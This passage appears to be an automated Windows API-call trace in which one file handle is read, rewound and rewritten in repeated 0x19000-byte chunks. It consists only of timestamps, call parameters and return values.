	[0138.217] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.217] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.218] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.218] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.218] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.220] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.220] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.220] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.221] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.221] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.221] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.227] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.227] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.228] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.228] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.228] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.229] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.229] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.229] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.230] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.233] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.233] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.234] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.234] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.234] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.235] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.373] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.373] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.375] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.375] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.375] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.376] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.376] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.376] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.377] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.378] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.378] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.381] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.381] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.381] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.382] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.382] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.382] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.383] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.384] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.387] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.388] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.388] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.388] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.389] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.390] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.390] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.393] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.393] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.393] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.394] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.407] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.407] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.409] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.460] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.460] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.460] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.461] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.461] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.461] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.463] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.463] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.463] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.464] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.464] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.467] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.467] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.468] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.468] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.469] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.469] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.470] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.470] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.470] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.471] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.471] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.471] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.475] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.475] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.476] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.476] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.477] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.477] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.479] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.493] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.493] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.494] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.495] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.495] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.495] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.501] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.501] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.502] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.502] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.503] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.503] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.504] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.504] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.504] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.507] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.508] WriteFile (in: hFile=0x138, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.508] ReadFile (in: hFile=0x138, lpBuffer=0x2a6b0c0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.509] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
